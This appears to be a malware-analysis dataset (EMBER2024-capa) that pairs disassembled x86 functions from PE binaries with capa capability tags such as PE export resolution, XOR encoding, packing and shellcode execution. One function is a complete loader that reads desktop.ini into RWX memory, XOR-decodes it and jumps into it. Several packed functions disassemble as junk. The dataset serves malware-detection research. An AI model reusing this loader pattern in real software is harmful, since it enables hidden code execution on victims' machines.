joyce8/EMBER2024-capa huggingface dataset:
Function at 0xac2d3d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x776db370]
xor eax, esp
mov dword [esp + 0x98], eax
add byte [ebx + 0x56], dl
push edi
push 0x38
xor esi, esi
mov byte [esp + 0x17], dl
lea eax, [esp + 0x3c]
mov ebx, ecx
push esi
push eax
call fcn.00ad6c80
add esp, 0xc
lea eax, [esp + 0x70]
push 0x30
push esi
push eax
call fcn.00ad6c80
add esp, 0xc
cmp byte [0x776d5da8], 0
je 0xac2d97
mov esi, 0xc00002fe
jmp 0xac2e74
cmp byte [esp + 0x13], 0

Function at 0xac2d9c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jne 0xac2daf
lock bts dword [ebx], 0
jae 0xac2db5
mov esi, 0xc00000d8
jmp 0xac2e74
push ebx
call fcn.00aa0010
lea ecx, [ebx + 8]
mov eax, dword [ecx]
and eax, 1
mov edx, dword [ecx + eax*8 + 0x70]
mov eax, dword [ecx + eax*8 + 0x74]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], eax
cmp eax, dword [ebp + 0xc]
jb 0xac2de1
ja 0xac2e6e
cmp edx, dword [ebp + 8]
jae 0xac2e6e
lea eax, [esp + 0x14]
push eax
lea edx, [esp + 0x1c]
call fcn.00ac3072
mov edx, dword [esp + 0x14]
lea edi, [esp + 0x20]
push 6
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov edi, esi
mov ecx, edi
call fcn.00b7fc00
mov ecx, eax
add ecx, ecx
mov eax, dword [edx + ecx*8]
mov dword [esp + edi*8 + 0x20], eax
mov eax, dword [edx + ecx*8 + 4]
mov dword [esp + edi*8 + 0x24], eax
inc edi
cmp edi, 3
jb 0xac2e00
lea ecx, [ebx + 8]
call fcn.00ac2ed0
test al, 0
add byte [eax], al
push esi
push 0x38
lea eax, [esp + 0x40]
push eax
push 0x18
lea eax, [esp + 0x30]
push eax
push 0xd3
call fcn.00ad1d00
mov esi, eax
test esi, esi
js 0xac2e6e
lea edx, [esp + 0x70]
lea ecx, [esp + 0x38]
call fcn.00ac2ce0
mov esi, eax
test esi, esi
js 0xac2e6e
push dword [esp + 0x3c]
lea edx, [esp + 0x74]
push dword [esp + 0x3c]
lea ecx, [ebx + 8]
call fcn.00ac30f6
push ebx
call fcn.00aa01b0
push 3
pop ebx
lea edi, [esp + 0x78]
mov dword [esp + 0x14], ebx
mov eax, ebx
cmp dword [edi], 0
je 0xac2e93
push dword [edi]
push 0xffffffffffffffff
call fcn.00ad0990
mov eax, dword [esp + 0x14]
add edi, 0x10
sub eax, 1
mov dword [esp + 0x14], eax
jne 0xac2e81
lea edi, [esp + 0x48]
cmp dword [edi], 0
je 0xac2eaf
push dword [edi]
call fcn.00ad07c0
add edi, 0x10
sub ebx, 1
jne 0xac2ea3
mov ecx, dword [esp + 0xa4]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00ad2890
mov esp, ebp
pop ebp
ret 8
Function at 0xae99bd
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
push edi
xor ebx, ebx
mov dword [ebp - 4], esi
push 0xc
mov ecx, dword [esi + 0x14]
mov edi, ebx
mov eax, dword [esi + 0x18]
mov edx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], ecx
movzx eax, word [ecx + 4]
mov dword [ebp - 0x10], eax
pop ecx
test eax, eax
je 0xae9a34
mov eax, dword [esi + 0x18]
mov esi, dword [ebp + 8]
cmp dword [eax], esi
mov esi, dword [ebp - 4]
jne 0xae9a2c
cmp dword [ebp + 0xc], ebx
je 0xae9a1b
cmp dword [esi + 0x20], ebx
je 0xae9a1b
test byte [eax + 4], 1
jne 0xae9a2c
imul esi, edx, 0xc
lea edi, [ebp - 0x20]
add esi, dword [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0xae9a3e
mov esi, eax
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
inc edi
test byte [eax + 4], 1
jne 0xae9a34
inc edx
add eax, ecx
cmp edx, dword [ebp - 0x10]
jb 0xae99f3
mov esi, ebx
test edi, edi
je 0xae9aec
cmp dword [ebp + 0xc], ebx
je 0xae9a4b
mov eax, dword [ebp - 4]
cmp dword [eax + 0x20], ebx
jne 0xae9a4e
mov ecx, dword [ebp - 8]

Function at 0xb04320
Capabilities:
Encode data using xor

Disassembly:
add dword [ecx + 0x45], esp
sbb al, byte [ecx]
adc dword [ebp - 0x6ad2fee5], edx
sbb eax, dword [ecx]
push ecx
sbb eax, dword [ecx]
sub eax, 0x51011b95
xchg ebp, eax
sbb eax, dword [ecx]
mov ebp, 0x2d0039d5
invalid
xchg ecx, eax
sub eax, dword [eax]
add byte [ecx - 0x5afee463], dl
sbb al, byte cs:[ecx]
movsd dword es:[edi], dword [esi]
popfd
sbb eax, dword [ecx]
jne 0xb04372
add byte [eax], al
loope 0xb042d2
sbb eax, dword [ecx]
jno 0xb042cb
sbb eax, dword [ecx]
push ecx
sub al, byte [eax]
add byte [ecx - 0x2ef83972], ah
push eax
pushfd
add byte [0x15003c25], ah
push esp
add byte [eax], al
loope 0xb043b2
add byte [eax], al
test ebx, esi
xor al, 0
in eax, dx
popfd
sbb eax, dword [ecx]
cmp eax, 0x5107c68a
mov al, dh
pop es
lds ecx, [0x8a750000]
mov byte [edi], 0xd1
mov es, esi
pop es
inc ecx
ret 0x39
cmp dword [eax], eax
test eax, 0x3107c68d
mov esi, es
pop es
add dword [edi + 0x353507c6], ecx
sbb al, byte [ecx]
shr dword [ecx], 0
add cl, ch
mov al, dh
pop es
push ecx
dec edi
sbb al, byte [ecx]
xor dword [edx], ebp
add byte [eax], al
sub dword [edi + 0x297107c6], ecx
add byte [eax], al
cdq
sahf
sbb eax, dword [ecx]
xor dword [edi - 0x7b4efee5], edx
push 0
aad 0x60
mov bh, 0
std
pushal
mov bh, 0
xchg ebp, eax
push edx
add byte [eax], al
int1
dec esi
add byte [eax], al
test eax, 0xd9000233
invalid
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x10001707
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
push edi
mov ecx, dword [esi + 0x3c]
mov eax, dword [ecx + esi + 0x78]
lea edi, [eax + esi]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 4], ecx
mov eax, dword [edi + 0x20]
lea eax, [eax + ebx*4]
mov eax, dword [eax + esi]
add eax, esi
push eax
push dword [ebp + 0xc]
call fcn.100016da
pop ecx
test eax, eax
pop ecx
jne 0x1000176e
xor ebx, ebx
cmp dword [edi + 0x18], ebx
jbe 0x10001767
mov eax, dword [edi + 0x20]
lea eax, [eax + ebx*4]
mov eax, dword [eax + esi]
add eax, esi
push eax
push dword [ebp + 0xc]
call fcn.100016da
pop ecx
test eax, eax
pop ecx
jne 0x1000176e
inc ebx
cmp ebx, dword [edi + 0x18]
jb 0x10001747
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [edi + 0x24]
mov ecx, dword [edi + 0x1c]
lea eax, [eax + ebx*2]
movzx eax, word [eax + esi]
lea eax, [ecx + eax*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x10001769
Function at 0x1324a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x134b010]
push edi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call 0x4a0308
nop
push eax
call 0x77d4e026
nop
mov ebx, eax
push 0x13549e8
mov dword [ebp - 4], ebx
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
mov byte [ebx + edi], 0
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x1324b7a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
call 0x76e143d3
nop
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push 0x13549e8
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x1324b06
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
push 0x13549e8
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call 0x4a030d
nop
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1326ef0
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0x1326f91
mov eax, dword [ebx]
push 0x40
push eax
push esi
call 0x76e09910
nop
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0x1326fc0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x1326fc0
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0x1326f91
mov ecx, dword [ebx]
push edi
push pe_nt_image_headers32
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
call 0x76e09910
nop
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0x1326fc0
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0x1326fc0
movzx eax, word [esi + 0x46]
test ax, ax
je 0x1326fc0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [fcn.015590f4]
push eax
call dword [fcn.01559088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0x1326f97
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.01327590
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x1816af0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0x15590e0]
test esi, esi
jne 0x1816b08
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1816b01
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x1816b01
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x1816b6a
jmp 0x1816b50
mov eax, dword [ebx + edi*4]
mov ecx, dword [0x1558bf0]
add eax, esi
call fcn.01814610
test eax, eax
je 0x1816b73
inc edi
cmp edi, dword [ebp - 4]
jb 0x1816b50
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403d70
Capabilities:
Packed with generic packer

Disassembly:
int3
int 0xcc
int3
push ebp
mov ebp, esp
xchg esp, esp
mov eax, 0x67cecc1
add byte [eax], al
mov eax, dword [0x408044]
jae 0x403d67
mov dword [esi + 0x678], esp
mov eax, dword [0xc286b0]
push ebx
push esi
xor dword [0x804061f4], 0x56
push 0x8001208
push 0
push eax
mov byte [esp + 0x1b], 0
mov ah, 0x34
sbb dword [eax], eax
mov ah, 0x2c
sbb al, byte [eax]
call esi
sub byte [ebx], al
add dword [eax], eax
add byte [eax + 0x6a], dl
add byte [ecx - 0xdedbbc], cl
xchg ebp, eax
call 0x8b607e24
or eax, 0x4040c6b4
push 0x20100208
push 0xa
push ecx
call esi
mov edx, dword [0x4086b4]
push 0x208
push 8
jp 0x403d6d
clc
std
salc
push 0x18000228
invalid

Function at 0x403f56
Capabilities:
Packed with generic packer

Disassembly:
inc ecx
add byte [ebx + 0x4086b9b5], ah
add byte [esi + 0x57], bl
call dword [ecx]
je 0x403fc5
inc eax
add byte [ebx - 0x3f7af734], al
jne 0x403f92
invalid
add esp, 0
test eax, eax
jne 0x403fa0
invalid
xor eax, 0x15ff7024
aam 0x60
inc edx
add byte [ebx - 0x72e7dbac], cl
dec esp
and al, 0x28
push ecx
push edx
call 0x204051e0
movsd dword es:[edi], dword [esi]
ror byte [edi - 0x40cc7b], 0xff
mov al, byte [esp + 0x18]
pop eax
not dword [0x800870d4]
cmp dword [ebp + 0x1f], 0xa8358b00
popal
inc eax
add byte [ebp + 0x12], dh
push 0xffffffffffffff99
push 0x40
sub eax, dword [eax]
push edi
dec eax
adc al, 0x74
inc eax
add byte [edx + 1], ch
call esi
cmp byte [esp + 0x4f], 0x20
jne 0x40401f
push 1
push 2
push 0x40
push ebx
push 0x427414
push 0x84d67f00
jl 0x404026
push es
or bh, byte [ebp + 0x14]
mov ecx, dword [esp + 0x10]
sub al, byte [ecx]
push 0
push 0
push ecx
push 0x40f414
push 0
call dword [esi + 0x142c548b]
xchg esi, eax
mov edx, dword [esp + ebp + 0x14]
mov eax, dword [0x124086f4]
mov esi, dword [0x4060d0]
push edx
push 0
pop eax
call esi
hlt
pushal
inc eax
add byte [edx + 0x6a], dl
add byte [eax - 1], bl
salc
mov ecx, dword [0x5287b4]
push edi
push 0
jns 0x404019
salc
stosd dword es:[edi], eax
sbb eax, 0x4086b4
shr dword [edx], cl
jb 0x404041
salc
mov esp, dword [esp + 0x10]
mov ecx, dword [0x4c086b4]
push eax
insb byte es:[edi], dx
add byte [ecx - 1], dl
fimul word [ebx - 0x5ee35bac]
mov ch, 0x86
inc eax
add byte [edx + 0x6a], dl
add dword [eax - 1], edx
salc
mov ecx, dword [esp - 0x60]
stosd dword es:[edi], eax
push ebp
mov ah, 0xd6
inc eax
xor byte [ecx], dl
push 2
push edx
call esi
or dword [esp + esi + 0x40684], 0x5f
pop esi
pop ebx
xor ecx, esp
call fcn.00405270
mov esp, ebp
dec ebp
ret
Function at 0x10004cd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x10004d02
lea esp, [esp]
test cl, 3
je 0x10004d02
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4b8a460]
add ecx, 1
sub esi, 1
jne 0x10004ce0
cmp esi, 0x20
push ebx
push edi
jb 0x10004eec
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x4b8a860]
xor edx, dword [ebx*4 + 0x4b8ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x4b8a460]
add ecx, 4
xor edx, dword [eax*4 + 0x4b8b060]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x4b8a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x4b8ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x4b8a460]
add ecx, 4
xor eax, dword [edx*4 + 0x4b8b060]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x4b8a860]
xor edx, dword [ebx*4 + 0x4b8ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x4b8a460]
xor edx, dword [eax*4 + 0x4b8b060]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x4b8a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x4b8ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x4b8a460]
xor eax, dword [edx*4 + 0x4b8b060]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x4b8a860]
xor edx, dword [ebx*4 + 0x4b8ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x4b8a460]
xor edx, dword [eax*4 + 0x4b8b060]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x4b8a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x4b8ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x4b8a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x4b8b060]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x4b8a860]
xor edx, dword [ebx*4 + 0x4b8ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x4b8a460]
add ecx, 4
xor edx, dword [eax*4 + 0x4b8b060]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x4b8a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x4b8ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x4b8a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x4b8b060]
sub edi, 1
jne 0x10004d12
cmp esi, 4
jb 0x10004f39
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x4b8a860]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x4b8ac60]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4b8a460]
and eax, 0xff
xor edi, dword [eax*4 + 0x4b8b060]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x10004ef6
test esi, esi
pop edi
pop ebx
je 0x10004f5d
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4b8a460]
add ecx, 1
sub esi, 1
jne 0x10004f40
not eax
pop esi
ret
Function at 0x4031bc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408034], 0
je 0x40321d
cmp word [0x408208], 0xd7b2
jne 0x4031e5
cmp dword [0x408210], 0
jbe 0x4031e5
mov eax, 0x408204
call dword [0x408220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40705c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403244
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x407020], 0
jne 0x403239
push 0
push 0x407054
push 0x40705c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403e98
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403efe
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004034ac
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004029b0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403ee8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f05
lea eax, [ebp - 0x10]
call fcn.00403340
ret

Function at 0x4049d0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
call fcn.004035b4
xor eax, eax
push ebp
push 0x404abc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x404acc
mov dword [0x4191ec], eax
mov esi, 0x404b2c
mov edi, 0x42c9fc
mov ecx, 0x26
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [0x42c6fc], 0
push 0
push 0
call sub.user32.dll_ExcludeUpdateRgn
call sub.kernel32.dll_TlsAlloc
mov eax, dword [ebp + 0xc]
call fcn.004049c0
mov esi, eax
lea eax, [ebp + 0xc]
call fcn.0040361c
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [eax]
lea eax, [ebp - 0xc]
call fcn.004036f4
mov eax, dword [ebp - 8]
cmp dword [eax], 0x80000
jbe 0x404a59
mov ebx, 2
jmp 0x404a5e
mov ebx, 2
lea eax, [ebp - 4]
push eax
sub esi, 4
push esi
lea eax, [ebp + 0xc]
call fcn.0040361c
add eax, 4
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xc]
call fcn.0040361c
push eax
push ebx
call dword [0x4086ac]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004036f4
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
call fcn.00403394
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ac3
lea eax, [ebp - 0xc]
call fcn.00403340
lea eax, [ebp + 0xc]
call fcn.00403340
ret
Function at 0x10004cd0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x10004d02
lea esp, [esp]
test cl, 3
je 0x10004d02
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x589a460]
add ecx, 1
sub esi, 1
jne 0x10004ce0
cmp esi, 0x20
push ebx
push edi
jb 0x10004eec
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x589a860]
xor edx, dword [ebx*4 + 0x589ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x589a460]
add ecx, 4
xor edx, dword [eax*4 + 0x589b060]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x589a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x589ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x589a460]
add ecx, 4
xor eax, dword [edx*4 + 0x589b060]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x589a860]
xor edx, dword [ebx*4 + 0x589ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x589a460]
xor edx, dword [eax*4 + 0x589b060]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x589a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x589ac60]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x589a460]
xor eax, dword [edx*4 + 0x589b060]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x589a860]
xor edx, dword [ebx*4 + 0x589ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x589a460]
xor edx, dword [eax*4 + 0x589b060]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x589a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x589ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x589a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x589b060]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x589a860]
xor edx, dword [ebx*4 + 0x589ac60]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x589a460]
add ecx, 4
xor edx, dword [eax*4 + 0x589b060]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x589a860]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x589ac60]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x589a460]
and edx, 0xff
xor eax, dword [edx*4 + 0x589b060]
sub edi, 1
jne 0x10004d12
cmp esi, 4
jb 0x10004f39
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x589a860]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x589ac60]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x589a460]
and eax, 0xff
xor edi, dword [eax*4 + 0x589b060]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x10004ef6
test esi, esi
pop edi
pop ebx
je 0x10004f5d
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x589a460]
add ecx, 1
sub esi, 1
jne 0x10004f40
not eax
pop esi
ret